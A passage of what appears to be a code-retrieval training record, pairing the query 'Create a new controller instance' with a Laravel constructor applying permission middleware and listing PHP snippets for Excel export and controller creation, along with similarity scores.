'0', STR_PAD_LEFT) . \".xlsx\";\n }", "public function exportarexcel(Request $request){\n // 0- ORDEN FILTROS\n //ORDENAMIENTO\n // ASCENDENTE - DESCENTE\n $this->m_canuint_ordene=$request->m_canuint_ordene;\n // NOMBRE CAMPO\n $this->m_canuint_campos=$request->m_canuint_campos;\n // FILTROS\n $this->m_caplaca_filtro=$request->m_caplaca;\n $this->m_canuint_filtro=$request->m_canuint;\n $this->m_nucociu_filtro=$request->m_nucociu;\n $this->m_cadacon_filtro=$request->m_cadacon;\n $this->m_caidpac_filtro=$request->m_caidpac;\n $this->m_caestad_filtro=$request->m_caestad;\n $this->m_causreg_filtro=$request->m_causreg;\n $this->m_causact_filtro=$request->m_causact;\n\n // Obtiene fecha y hora actual\n $fecha_actual = new DateTime();\n // Convierte fecha y hora actual a texto\n $cadena_fecha_actual = $fecha_actual->format(\"d/m/Y/h/i/s/a\");\n // Nombre archivo exportacion\n $nombre_archivo = 'vehiculos_'.$cadena_fecha_actual;\n\n Excel::create($nombre_archivo, function($excel) {\n $excel->sheet('Vehículos', function($sheet) {\n\n // 0- CONSULTA \n $vehiculos = Capmvehi::Nuipe($this->m_caplaca_filtro)->\n Numerointerno($this->m_canuint_filtro)->\n Nombre_ciudad($this->m_nucociu_filtro)->\n Nombre_contacto($this->m_cadacon_filtro)->\n Codigo_nacional($this->m_caidpac_filtro)->\n estado($this->m_caestad_filtro)->\n usuario_registra($this->m_causreg_filtro)->\n usuario_actualiza($this->m_causact_filtro)->\n orderBy($this->m_canuint_campos,$this->m_canuint_ordene)->get();\n\n foreach($vehiculos as $vehiculo){\n $ciudad = Capmciud::where('m_nucodig',$vehiculo->m_nucociu)->first();\n $departamento = Capmdepa::where('m_nucodig',$ciudad->m_nucodep)->first();\n $pais = Capmpais::where('m_nucodig',$departamento->m_nucopai)->first();\n $oficina_registro = Capmsucu::where('m_nucodig',$vehiculo->m_nuofici)->first();\n\n $ciudad_x[]=$ciudad->m_canuint;\n $departamento_x[]=$departamento->m_canuint;\n $pais_x[]=$pais->m_canuint;\n }\n\n // 1- EMPRESA RAZON SOCIAL\n $emp_raz_soc = Auth::user()->empresa->m_carazso;\n // 2- EMPRESA NUIPE\n $emp_nui_pes = Auth::user()->empresa->m_caplaca;\n // 3- OFICINA NOMBRE\n $ofi_nom_bre = Auth::user()->oficina->m_canuint;\n // 4- OFICINA UBICACION REGIONAL - VARIABLE GLOBAL\n // Session::get('glo_ofi_ubi_reg'\n // 5- APLICATIVO NOMBRE\n $app_nom_bre = 'mistiquetes.com';\n // 6- TITULO CONSULTA\n $tit_con_sul = 'CONSULTA DE VEHICULOS';\n\n // 20- TOTAL REGISTROS\n $tot_reg_ist = $vehiculos->Count();\n // 21- GENERADO FECHA HORA\n $fecha_hora = new DateTime();\n\n setlocale(LC_TIME,\"es_ES\");\n date_default_timezone_set ('America/Bogota');\n $fec_hor_gen = strftime(\"El %A, %d de %B del %Y - %r - Spreadsheet (Hoja de calculo)\");\n // 22- GENERADO USUARIO\n $usu_gen_era = Auth::user()->name;\n // 23- GENERADO NOTICIA\n $not_cla_con = 'Aplican cláusulas de confidencialidad en el manejo de información';\n\n\n // 1- EMPRESA RAZON SOCIAL\n $sheet->row(1, array($emp_raz_soc));\n // ESTILO\n $sheet->mergeCells('A1:L1');\n $sheet->row(1, function ($row) {\n $row->setFontFamily('Arial');\n $row->setFontSize(14);\n });\n\n // 2- EMPRESA NUIPE\n $sheet->row(2, array($emp_nui_pes));\n // ESTILO\n $sheet->mergeCells('A2:L2');\n $sheet->row(2, function ($row) {\n $row->setFontFamily('Arial');\n $row->setFontSize(12);\n });\n\n // 3- OFICINA NOMBRE\n $sheet->row(3, array($ofi_nom_bre));\n // ESTILO\n $sheet->mergeCells('A3:L3');\n $sheet->row(3, function ($row) {\n $row->setFontFamily('Arial');\n $row->setFontSize(12);\n });\n\n // 4- OFICINA UBICACION REGIONAL\n $sheet->row(4, array(Session::get('glo_ofi_ubi_reg')));\n // ESTILO\n $sheet->mergeCells('A4:L4');\n $sheet->row(4, function ($row) {\n $row->setFontFamily('Arial');\n $row->setFontSize(12);\n });\n\n // 5- APLICATIVO NOMBRE\n $sheet->row(5, array($app_nom_bre));\n // ESTILO\n $sheet->mergeCells('A5:L5');\n $sheet->row(5, function ($row) {\n $row->setFontFamily('Arial');\n $row->setFontSize(12);\n });\n\n // 6- TITULO CONSULTA\n $sheet->row(6, array($tit_con_sul));\n // IMPORTANTE: ESTILO - UNA CELDA ANTES DE LA FINAL\n $sheet->mergeCells('A6:AD6');\n $sheet->row(6, function ($row) {\n $row->setFontFamily('Arial');\n $row->setFontSize(12);\n });\n\n // ENCABEZADOS\n $sheet->row(7, [\n 'Identificador', 'NUIP', 'DV',\n 'Tipo de documento','Conductor',\n 'Primer nombre','Segundo nombre','Primer apellido','Segundo apellido',\n 'Dirección','Ciudad','Departamento','País',\n 'Telefóno fijo', 'Telefóno móvil', 'Portal Web',\n 'Correo electrónico', 'Contacto', 'Código autorización',\n 'Código nacional', 'Estado',\n 'Vínculo empresarial', 'Oficina de registro',\n 'Registro', 'Usuario', 'actualizado', 'Usuario',\n 'Total registros', 'Generado fecha - hora', 'Generado usuario', 'Noticia'\n ]);\n\n // ESTILO\n $sheet->Cells('A7:Z7');\n $sheet->row(7, function ($row) {\n // Fuente\n $row->setFontFamily('Arial');\n // Negrita\n $row->setFontWeight('bold');\n // Tamaño\n $row->setFontSize(10);\n // Alineamiento\n $row->setAlignment('center');\n // Fondo\n $row->setBackground('#4eb24d');\n // Bordes - Set all borders (top, right, bottom, left)\n $row->setBorder('thin','thin','thin','thin');\n });\n\n // REGISTROS\n //13-10-2018\n $j=0;\n foreach($vehiculos as $index => $vehiculo) {\n\n // ESTILO\n $sheet->Cells('A8:Z100000');\n $sheet->row($index+8, function ($row) {\n $row->setFontFamily('Arial');\n $row->setFontSize(10);\n });\n\n if ($index) {\n $sheet->row($index+8, [\n $vehiculo->m_nucodig,\n $vehiculo->m_caplaca, $vehiculo->m_nudiver,\n $vehiculo->tiposdocumentos->m_canuint,\n $vehiculo->m_canuint,\n $vehiculo->m_caprnom, $vehiculo->m_casenom,\n $vehiculo->m_caprape, $vehiculo->m_caseape,\n $vehiculo->m_cadirec, $vehiculo->ciudades->m_canuint,\n $departamento_x[$j],\n $pais_x[$j],\n $vehiculo->m_catelfi, $vehiculo->m_camovil, $vehiculo->m_casitew,\n $vehiculo->m_cacorel, $vehiculo->m_cadacon, $vehiculo->m_caautna,\n $vehiculo->m_caidpac, $vehiculo->m_caestad,\n $vehiculo->m_caviemp, $vehiculo->oficina_registro->m_canuint,\n $vehiculo->created_at, $vehiculo->usuario_registra->name,\n $vehiculo->updated_at, $vehiculo->usuario_actualiza->name,\n ]);\n } else {\n $sheet->row($index+8, [\n $vehiculo->m_nucodig,\n $vehiculo->m_caplaca, $vehiculo->m_nudiver,\n $vehiculo->tiposdocumentos->m_canuint,\n $vehiculo->m_canuint,\n $vehiculo->m_caprnom, $vehiculo->m_casenom,\n $vehiculo->m_caprape, $vehiculo->m_caseape,\n $vehiculo->m_cadirec, $vehiculo->ciudades->m_canuint,\n $departamento_x[$j],\n $pais_x[$j],\n $vehiculo->m_catelfi, $vehiculo->m_camovil, $vehiculo->m_casitew,\n $vehiculo->m_cacorel, $vehiculo->m_cadacon, $vehiculo->m_caautna,\n $vehiculo->m_caidpac, $vehiculo->m_caestad,\n $vehiculo->m_caviemp, $vehiculo->oficina_registro->m_canuint,\n $vehiculo->created_at, $vehiculo->usuario_registra->name,\n $vehiculo->updated_at, $vehiculo->usuario_actualiza->name,\n $tot_reg_ist, $fec_hor_gen, $usu_gen_era, $not_cla_con\n ]);\n }\n //13-10-2018\n $j++;\n }\n\n // PIE\n // ESTILO\n $sheet->row(($tot_reg_ist+9), function ($row) {\n // Fuente\n $row->setFontFamily('Arial');\n // Negrita\n $row->setFontWeight('bold');\n // Tamaño\n $row->setFontSize(10);\n // Alineamiento\n $row->setAlignment('center');\n // Fondo\n $row->setBackground('#4eb24d');\n // Bordes - Set all borders (top, right, bottom, left)\n $row->setBorder('thin','thin','thin','thin');\n });\n \n });\n })->export('xlsx');\n\n return redirect()->route('vehiculos.index');\n \n }", "public function basic2(){\n // Create new Spreadsheet object\n $spreadsheet = new Spreadsheet();\n\n // Set document properties\n\n $spreadsheet->getProperties()->setCreator('Maarten Balliauw')\n ->setLastModifiedBy('Maarten Balliauw')\n ->setTitle('Office 2007 XLSX Test Document')\n ->setSubject('Office 2007 XLSX Test Document')\n ->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n ->setKeywords('office 2007 openxml php')\n ->setCategory('Test result file');\n\n// Add some data\n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A1', 'Hello')\n ->setCellValue('B2', 'world!')\n ->setCellValue('C1', 'Hello')\n ->setCellValue('D2', 'world!');\n\n// Miscellaneous glyphs, UTF-8\n $spreadsheet->setActiveSheetIndex(0)\n ->setCellValue('A4', 'Miscellaneous glyphs')\n ->setCellValue('A5', 'éàèùâêîôûëïüÿäöüç');\n\n// Rename worksheet\n $spreadsheet->getActiveSheet()->setTitle('Simple');\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n $spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Ods)\n header('Content-Type: application/vnd.oasis.opendocument.spreadsheet');\n header('Content-Disposition: attachment;filename=\"01simple.ods\"');\n header('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\n header('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\n header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\n header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\n header('Cache-Control: cache, must-revalidate'); // HTTP/1.1\n header('Pragma: public'); // HTTP/1.0\n\n $writer = IOFactory::createWriter($spreadsheet, 'Ods');\n $writer->save('php://output');\n exit;\n\n }", "protected function filename()\n {\n return 'User_' . date('YmdHis');\n }", "protected function filename()\n {\n return 'User_' . date('YmdHis');\n }", "protected function filename()\n {\n return 'User_' . date('YmdHis');\n }", "protected function filename()\n {\n return 'User_' . date('YmdHis');\n }", "protected function filename()\n {\n return 'User_' . date('YmdHis');\n }", "public function exportExcel($type);", "protected function filename()\n {\n return 'Export_' . date('YmdHis');\n }" ]
[ "0.75504535", "0.74232495", "0.64222234", "0.6421356", "0.62772167", "0.6266837", "0.6265481", "0.6211669", "0.62088704", "0.6207646", "0.62046844", "0.6134603", "0.6075818", "0.6055589", "0.6054644", "0.60102", "0.60031134", "0.59837383", "0.5980685", "0.59719473", "0.59688336", "0.59495014", "0.59271944", "0.5924853", "0.5913763", "0.59134924", "0.58976823", "0.5880213", "0.58509237", "0.5846031", "0.5841896", "0.58256626", "0.581698", "0.581698", "0.581698", "0.5809298", "0.5800915", "0.5798304", "0.579423", "0.5793825", "0.5785583", "0.57832414", "0.5751603", "0.5744105", "0.57341194", "0.57210594", "0.5720069", "0.5719716", "0.5719716", "0.5711058", "0.5703089", "0.5698934", "0.5698093", "0.5687268", "0.56787735", "0.56699646", "0.56538534", "0.56525624", "0.56450665", "0.564445", "0.56440973", "0.56379104", "0.5631926", "0.5629784", "0.56295997", "0.56285894", "0.5625766", "0.5623198", "0.5619093", "0.56007373", "0.55985105", "0.559777", "0.55945915", "0.55783695", "0.5578151", "0.5576736", "0.55753154", "0.5570302", "0.5561676", "0.5559697", "0.555175", "0.5548935", "0.55461633", "0.55453694", "0.5535644", "0.5518334", "0.55175835", "0.55175835", "0.55175835", "0.55175835", "0.55175835", "0.5515511", "0.55114406", "0.55080163", "0.55040026", "0.55040026", "0.55040026", "0.55040026", "0.55040026", "0.55016273", "0.54992056" ]
0.0
-1
Create a new controller instance.
public function __construct() { $this->middleware('permission:booking_status-list'); $this->middleware('permission:booking_status-create', ['only' => ['create','store']]); $this->middleware('permission:booking_status-edit', ['only' => ['edit','update']]); $this->middleware('permission:booking_status-delete', ['only' => ['destroy']]); $this->middleware('auth'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function createController()\n {\n $this->createClass('controller');\n }", "protected function createController()\n {\n $controller = Str::studly(class_basename($this->getNameInput()));\n\n $modelName = $this->qualifyClass('Models/'.$this->getNameInput());\n\n $this->call('make:controller', array_filter([\n 'name' => \"{$controller}Controller\",\n '--model' => $modelName,\n '--api' => true,\n ]));\n }", "protected function createController()\n {\n $controller = Str::studly(class_basename($this->argument('name')));\n $model_name = $this->qualifyClass($this->getNameInput());\n $name = Str::contains($model_name, ['\\\\']) ? Str::afterLast($model_name, '\\\\') : $model_name;\n\n $this->call('make:controller', [\n 'name' => \"{$controller}Controller\",\n '--model' => $model_name,\n ]);\n\n $path = base_path() . \"/app/Http/Controllers/{$controller}Controller.php\";\n $this->cleanupDummy($path, $name);\n }", "private function makeInitiatedController()\n\t{\n\t\t$controller = new TestEntityCRUDController();\n\n\t\t$controller->setLoggerWrapper(Logger::create());\n\n\t\treturn $controller;\n\t}", "protected function createController()\n {\n $controller = Str::studly(class_basename($this->argument('name')));\n\n $modelName = $this->qualifyClass($this->getNameInput());\n\n $this->call(ControllerMakeCommand::class, array_filter([\n 'name' => \"{$controller}/{$controller}Controller\",\n '--model' => $this->option('resource') || $this->option('api') ? $modelName : null,\n ]));\n\n $this->call(ControllerMakeCommand::class, array_filter([\n 'name' => \"Api/{$controller}/{$controller}Controller\",\n '--model' => $this->option('resource') || $this->option('api') ? $modelName : null,\n '--api' => true,\n ]));\n }", "protected function createController()\n {\n $name = str_replace(\"Service\",\"\",$this->argument('name'));\n\n $this->call('make:controller', [\n 'name' => \"{$name}Controller\"\n ]);\n }", "protected function createController()\n {\n $params = [\n 'name' => $this->argument('name'),\n ];\n\n if ($this->option('api')) {\n $params['--api'] = true;\n }\n\n $this->call('wizard:controller', $params);\n }", "public function generateController () {\r\n $controllerParam = \\app\\lib\\router::getPath();\r\n $controllerName = \"app\\controller\\\\\" . end($controllerParam);\r\n $this->controller = new $controllerName;\r\n }", "public static function newController($controller)\n\t{\n\t\t$objController = \"App\\\\Controllers\\\\\".$controller;\n\t\treturn new $objController;\n\t}", "public function createController()\n\t{\n\t\tif(class_exists($this->controller))\n\t\t{\n\t\t\t// get the parent class he extends\n\t\t\t$parents = class_parents($this->controller);\n\n\t\t\t// $parents = class_implements($this->controller); used if our Controller was just an interface not a class\n\n\t\t\t// check if the class implements our Controller Class\n\t\t\tif(in_array(\"Controller\", $parents))\n\t\t\t{\n\t\t\t\t// check if the action in the request exists in that class\n\t\t\t\tif(method_exists($this->controller, $this->action))\n\t\t\t\t{\n\t\t\t\t\treturn new $this->controller($this->action, $this->request);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// Action is not exist\n\t\t\t\t\techo 'Method '. $this->action .' doesn\\'t exist in '. $this->controller;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// The controller doesn't extends our Controller Class\n\t\t\t\techo $this->controller.' doesn\\'t extends our Controller Class';\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// Controller Doesn't exist\n\t\t\techo $this->controller.' doesn\\'t exist';\n\t\t}\n\t}", "public function createController( ezcMvcRequest $request );", "public function createController() {\n //check our requested controller's class file exists and require it if so\n /*if (file_exists(__DIR__ . \"/../Controllers/\" . $this->controllerName . \".php\")) {\n require(__DIR__ . \"/../Controllers/\" . $this->controllerName . \".php\");\n } else {\n throw new Exception('Route does not exist');\n }*/\n\n try {\n require_once __DIR__ . '/../Controllers/' . $this->controllerName . '.php';\n } catch (Exception $e) {\n return $e;\n }\n \n //does the class exist?\n if (class_exists($this->controllerClass)) {\n $parents = class_parents($this->controllerClass);\n \n //does the class inherit from the BaseController class?\n if (in_array(\"BaseController\",$parents)) { \n //does the requested class contain the requested action as a method?\n if (method_exists($this->controllerClass, $this->endpoint)) {\n return new $this->controllerClass($this->args, $this->endpoint, $this->domain);\n } else {\n throw new Exception('Action does not exist');\n }\n } else {\n throw new Exception('Class does not inherit correctly.');\n }\n } else {\n throw new Exception('Controller does not exist.');\n }\n }", "public static function create()\n\t{\n\t\t//check, if a JobController instance already exists\n\t\tif(JobController::$jobController == null)\n\t\t{\n\t\t\tJobController::$jobController = new JobController();\n\t\t}\n\n\t\treturn JobController::$jobController;\n\t}", "private function controller()\n {\n $location = $this->args[\"location\"] . DIRECTORY_SEPARATOR . 'controllers' . DIRECTORY_SEPARATOR;\n $relative_location = $this->args['application_folder'] . DIRECTORY_SEPARATOR . 'controllers' . DIRECTORY_SEPARATOR;\n\n if (!empty($this->args['subdirectories']))\n {\n $location .= $this->args['subdirectories'] . DIRECTORY_SEPARATOR;\n $relative_location .= $this->args['subdirectories'] . DIRECTORY_SEPARATOR;\n }\n\n if (!is_dir($location))\n {\n mkdir($location, 0755, TRUE);\n }\n\n $relative_location .= $this->args['filename'];\n $filename = $location . $this->args['filename'];\n\n $args = array(\n \"class_name\" => ApplicationHelpers::camelize($this->args['name']),\n \"filename\" => $this->args['filename'],\n \"application_folder\" => $this->args['application_folder'],\n \"parent_class\" => (isset($this->args['parent'])) ? $this->args['parent'] : $this->args['parent_controller'],\n \"extra\" => $this->extra,\n 'relative_location' => $relative_location,\n 'helper_name' => strtolower($this->args['name']) . '_helper',\n );\n\n $template = new TemplateScanner(\"controller\", $args);\n $controller = $template->parse();\n\n $message = \"\\t\";\n if (file_exists($filename))\n {\n $message .= 'Controller already exists : ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'light_blue');\n }\n $message .= $relative_location;\n }\n elseif (file_put_contents($filename, $controller))\n {\n $message .= 'Created controller: ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'green');\n }\n $message .= $relative_location;\n }\n else\n {\n $message .= 'Unable to create controller: ';\n if (php_uname(\"s\") !== \"Windows NT\")\n {\n $message = ApplicationHelpers::colorize($message, 'red');\n }\n $message .= $relative_location;\n }\n\n // The controller has been generated, output the confirmation message\n fwrite(STDOUT, $message . PHP_EOL);\n\n // Create the helper files.\n $this->helpers();\n\n $this->assets();\n\n // Create the view files.\n $this->views();\n\n return;\n }", "public function createController( $controllerName ) {\r\n\t\t$refController \t\t= $this->instanceOfController( $controllerName );\r\n\t\t$refConstructor \t= $refController->getConstructor();\r\n\t\tif ( ! $refConstructor ) return $refController->newInstance();\r\n\t\t$initParameter \t\t= $this->setParameter( $refConstructor );\r\n\t\treturn $refController->newInstanceArgs( $initParameter ); \r\n\t}", "public function create($controllerName) {\r\n\t\tif (!$controllerName)\r\n\t\t\t$controllerName = $this->defaultController;\r\n\r\n\t\t$controllerName = ucfirst(strtolower($controllerName)).'Controller';\r\n\t\t$controllerFilename = $this->searchDir.'/'.$controllerName.'.php';\r\n\r\n\t\tif (preg_match('/[^a-zA-Z0-9]/', $controllerName))\r\n\t\t\tthrow new Exception('Invalid controller name', 404);\r\n\r\n\t\tif (!file_exists($controllerFilename)) {\r\n\t\t\tthrow new Exception('Controller not found \"'.$controllerName.'\"', 404);\r\n\t\t}\r\n\r\n\t\trequire_once $controllerFilename;\r\n\r\n\t\tif (!class_exists($controllerName) || !is_subclass_of($controllerName, 'Controller'))\r\n\t\t\tthrow new Exception('Unknown controller \"'.$controllerName.'\"', 404);\r\n\r\n\t\t$this->controller = new $controllerName();\r\n\t\treturn $this;\r\n\t}", "private function createController($controllerName)\n {\n $className = ucfirst($controllerName) . 'Controller';\n ${$this->lcf($controllerName) . 'Controller'} = new $className();\n return ${$this->lcf($controllerName) . 'Controller'};\n }", "public function createControllerObject(string $controller)\n {\n $this->checkControllerExists($controller);\n $controller = $this->ctlrStrSrc.$controller;\n $controller = new $controller();\n return $controller;\n }", "public function create_controller($controller, $action){\n\t $creado = false;\n\t\t$controllers_dir = Kumbia::$active_controllers_dir;\n\t\t$file = strtolower($controller).\"_controller.php\";\n\t\tif(file_exists(\"$controllers_dir/$file\")){\n\t\t\tFlash::error(\"Error: El controlador '$controller' ya existe\\n\");\n\t\t} else {\n\t\t\tif($this->post(\"kind\")==\"applicationcontroller\"){\n\t\t\t\t$filec = \"<?php\\n\t\t\t\\n\tclass \".ucfirst($controller).\"Controller extends ApplicationController {\\n\\n\\t\\tfunction $action(){\\n\\n\\t\\t}\\n\\n\t}\\n\t\\n?>\\n\";\n\t\t\t\tif(@file_put_contents(\"$controllers_dir/$file\", $filec)){\n\t\t\t\t $creado = true;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$filec = \"<?php\\n\t\t\t\\n\tclass \".ucfirst($controller).\"Controller extends StandardForm {\\n\\n\\t\\tpublic \\$scaffold = true;\\n\\n\\t\\tpublic function __construct(){\\n\\n\\t\\t}\\n\\n\t}\\n\t\\n?>\\n\";\n\t\t\t\tfile_put_contents(\"$controllers_dir/$file\", $filec);\n\t\t\t\tif($this->create_model($controller, $controller, \"index\")){\n\t\t\t\t $creado = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif($creado){\n\t\t\t Flash::success(\"Se cre&oacute; correctamente el controlador '$controller' en '$controllers_dir/$file'\");\n\t\t\t}else {\n\t\t\t Flash::error(\"Error: No se pudo escribir en el directorio, verifique los permisos sobre el directorio\");\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t$this->route_to(\"controller: $controller\", \"action: $action\");\n\t}", "private function instanceController( string $controller_class ): Controller {\n\t\treturn new $controller_class( $this->request, $this->site );\n\t}", "public function makeController($controller_name)\n\t{\n\t\t$model\t= $this->_makeModel($controller_name, $this->_storage_type);\n\t\t$view\t= $this->_makeView($controller_name);\n\t\t\n\t\treturn new $controller_name($model, $view);\n\t}", "public function create()\n {\n $output = new \\Symfony\\Component\\Console\\Output\\ConsoleOutput();\n $output->writeln(\"<info>Controller Create</info>\");\n }", "protected function createDefaultController() {\n Octopus::requireOnce($this->app->getOption('OCTOPUS_DIR') . 'controllers/Default.php');\n return new DefaultController();\n }", "private function createControllerDefinition()\n {\n $id = $this->getServiceId('controller');\n if (!$this->container->has($id)) {\n $definition = new Definition($this->getServiceClass('controller'));\n $definition\n ->addMethodCall('setConfiguration', [new Reference($this->getServiceId('configuration'))])\n ->addMethodCall('setContainer', [new Reference('service_container')])\n ;\n $this->container->setDefinition($id, $definition);\n }\n }", "public function createController( $ctrlName, $action ) {\n $args['action'] = $action;\n $args['path'] = $this->path . '/modules/' . $ctrlName;\n $ctrlFile = $args['path'] . '/Controller.php';\n // $args['moduleName'] = $ctrlName;\n if ( file_exists( $ctrlFile ) ) {\n $ctrlPath = str_replace( CITRUS_PATH, '', $args['path'] );\n $ctrlPath = str_replace( '/', '\\\\', $ctrlPath ) . '\\Controller';\n try { \n $r = new \\ReflectionClass( $ctrlPath ); \n $inst = $r->newInstanceArgs( $args ? $args : array() );\n\n $this->controller = Citrus::apply( $inst, Array( \n 'name' => $ctrlName, \n ) );\n if ( $this->controller->is_protected == null ) {\n $this->controller->is_protected = $this->is_protected;\n }\n return $this->controller;\n } catch ( \\Exception $e ) {\n prr($e, true);\n }\n } else {\n return false;\n }\n }", "protected function createTestController() {\n\t\t$controller = new CController('test');\n\n\t\t$action = $this->getMock('CAction', array('run'), array($controller, 'test'));\n\t\t$controller->action = $action;\n\n\t\tYii::app()->controller = $controller;\n\t\treturn $controller;\n\t}", "public static function newController($controllerName, $params = [], $request = null) {\n\n\t\t$controller = \"App\\\\Controllers\\\\\".$controllerName;\n\n\t\treturn new $controller($params, $request);\n\n\t}", "private function loadController() : void\n\t{\n\t\t$this->controller = new $this->controllerName($this->request);\n\t}", "public function createController($pi, array $params)\n {\n $class = $pi . '_Controller_' . ucfirst($params['page']);\n\n return new $class();\n }", "public function createController() {\n //check our requested controller's class file exists and require it if so\n \n if (file_exists(\"modules/\" . $this->controllerName . \"/controllers/\" . $this->controllerName .\".php\" ) && $this->controllerName != 'error') {\n require(\"modules/\" . $this->controllerName . \"/controllers/\" . $this->controllerName .\".php\");\n \n } else {\n \n $this->urlValues['controller'] = \"error\";\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"badurl\", $this->urlValues);\n }\n\n //does the class exist?\n if (class_exists($this->controllerClass)) {\n $parents = class_parents($this->controllerClass);\n //does the class inherit from the BaseController class?\n if (in_array(\"BaseController\", $parents)) {\n //does the requested class contain the requested action as a method?\n if (method_exists($this->controllerClass, $this->action)) { \n return new $this->controllerClass($this->action, $this->urlValues);\n \n } else {\n //bad action/method error\n $this->urlValues['controller'] = \"error\";\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"badview\", $this->urlValues);\n }\n } else {\n $this->urlValues['controller'] = \"error\";\n //bad controller error\n echo \"hjh\";\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"b\", $this->urlValues);\n }\n } else {\n \n //bad controller error\n require(\"modules/error/controllers/error.php\");\n return new ErrorController(\"badurl\", $this->urlValues);\n }\n }", "protected static function createController($name) {\n $result = null;\n\n $name = self::$_namespace . ($name ? $name : self::$defaultController) . 'Controller';\n if(class_exists($name)) {\n $controllerClass = new \\ReflectionClass($name);\n if($controllerClass->hasMethod('run')) {\n $result = new $name();\n }\n }\n\n return $result;\n }", "public function createController(): void\n {\n $minimum_buffer_min = 3;\n $token_ok = $this->routerService->ds_token_ok($minimum_buffer_min);\n if ($token_ok) {\n # 2. Call the worker method\n # More data validation would be a good idea here\n # Strip anything other than characters listed\n $results = $this->worker($this->args);\n\n if ($results) {\n # Redirect the user to the NDSE view\n # Don't use an iFrame!\n # State can be stored/recovered using the framework's session or a\n # query parameter on the returnUrl\n header('Location: ' . $results[\"redirect_url\"]);\n exit;\n }\n } else {\n $this->clientService->needToReAuth($this->eg);\n }\n }", "protected function createController($controllerClass)\n {\n $cls = new ReflectionClass($controllerClass);\n return $cls->newInstance($this->environment);\n }", "protected function createController($name)\n {\n $controllerClass = 'controller\\\\'.ucfirst($name).'Controller';\n\n if(!class_exists($controllerClass)) {\n throw new \\Exception('Controller class '.$controllerClass.' not exists!');\n }\n\n return new $controllerClass();\n }", "protected function initController() {\n\t\tif (!isset($_GET['controller'])) {\n\t\t\t$this->initDefaultController();\n\t\t\treturn;\n\t\t}\n\t\t$controllerClass = $_GET['controller'].\"Controller\";\n\t\tif (!class_exists($controllerClass)) {\n\t\t\t//Console::error(@$_GET['controller'].\" doesn't exist\");\n\t\t\t$this->initDefaultController();\n\t\t\treturn;\n\t\t}\n\t\t$this->controller = new $controllerClass();\n\t}", "public function makeTestController(TestController $controller)\r\n\t{\r\n\t}", "static function factory($GET=array(), $POST=array(), $FILES=array()) {\n $type = (isset($GET['type'])) ? $GET['type'] : '';\n $objectController = $type.'_Controller';\n $addLocation = $type.'/'.$objectController.'.php';\n foreach ($_ENV['locations'] as $location) {\n if (is_file($location.$addLocation)) {\n return new $objectController($GET, $POST, $FILES);\n } \n }\n throw new Exception('The controller \"'.$type.'\" does not exist.');\n }", "public function create()\n {\n $general = new ModeloController();\n\n return $general->create();\n }", "public function makeController($controllerNamespace, $controllerName, Log $log, $session, Request $request, Response $response)\r\n\t{\r\n\t\t$fullControllerName = '\\\\Application\\\\Controller\\\\' . (!empty($controllerNamespace) ? $controllerNamespace . '\\\\' : '') . $controllerName;\r\n\t\t$controller = new $fullControllerName();\r\n\t\t$controller->setConfig($this->config);\r\n\t\t$controller->setRequest($request);\r\n\t\t$controller->setResponse($response);\r\n\t\t$controller->setLog($log);\r\n\t\tif (isset($session))\r\n\t\t{\r\n\t\t\t$controller->setSession($session);\r\n\t\t}\r\n\r\n\t\t// Execute additional factory method, if available (exists in \\Application\\Controller\\Factory)\r\n\t\t$method = 'make' . $controllerName;\r\n\t\tif (is_callable(array($this, $method)))\r\n\t\t{\r\n\t\t\t$this->$method($controller);\r\n\t\t}\r\n\r\n\t\t// If the controller has an init() method, call it now\r\n\t\tif (is_callable(array($controller, 'init')))\r\n\t\t{\r\n\t\t\t$controller->init();\r\n\t\t}\r\n\r\n\t\treturn $controller;\r\n\t}", "public static function create()\n\t{\n\t\t//check, if an AccessGroupController instance already exists\n\t\tif(AccessGroupController::$accessGroupController == null)\n\t\t{\n\t\t\tAccessGroupController::$accessGroupController = new AccessGroupController();\n\t\t}\n\n\t\treturn AccessGroupController::$accessGroupController;\n\t}", "public static function buildController()\n\t{\n\t\t$file = CONTROLLER_PATH . 'indexController.class.php';\n\n\t\tif(!file_exists($file))\n\t\t{\n\t\t\tif(\\RCPHP\\Util\\Check::isClient())\n\t\t\t{\n\t\t\t\t$controller = '<?php\nclass indexController extends \\RCPHP\\Controller {\n public function index(){\n echo \"Welcome RcPHP!\\n\";\n }\n}';\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$controller = '<?php\nclass indexController extends \\RCPHP\\Controller {\n public function index(){\n echo \\'<style type=\"text/css\">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: \"微软雅黑\"; color: #333;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px }</style><div style=\"padding: 24px 48px;\"> <h1>:)</h1><p>Welcome <b>RcPHP</b>!</p></div>\\';\n }\n}';\n\t\t\t}\n\t\t\tfile_put_contents($file, $controller);\n\t\t}\n\t}", "public function getController( );", "public static function getInstance() : Controller {\n if ( null === self::$instance ) {\n self::$instance = new self();\n self::$instance->options = new Options(\n self::OPTIONS_KEY\n );\n }\n\n return self::$instance;\n }", "static function appCreateController($entityName, $prefijo = '') {\n\n $controller = ControllerBuilder::getController($entityName, $prefijo);\n $entityFile = 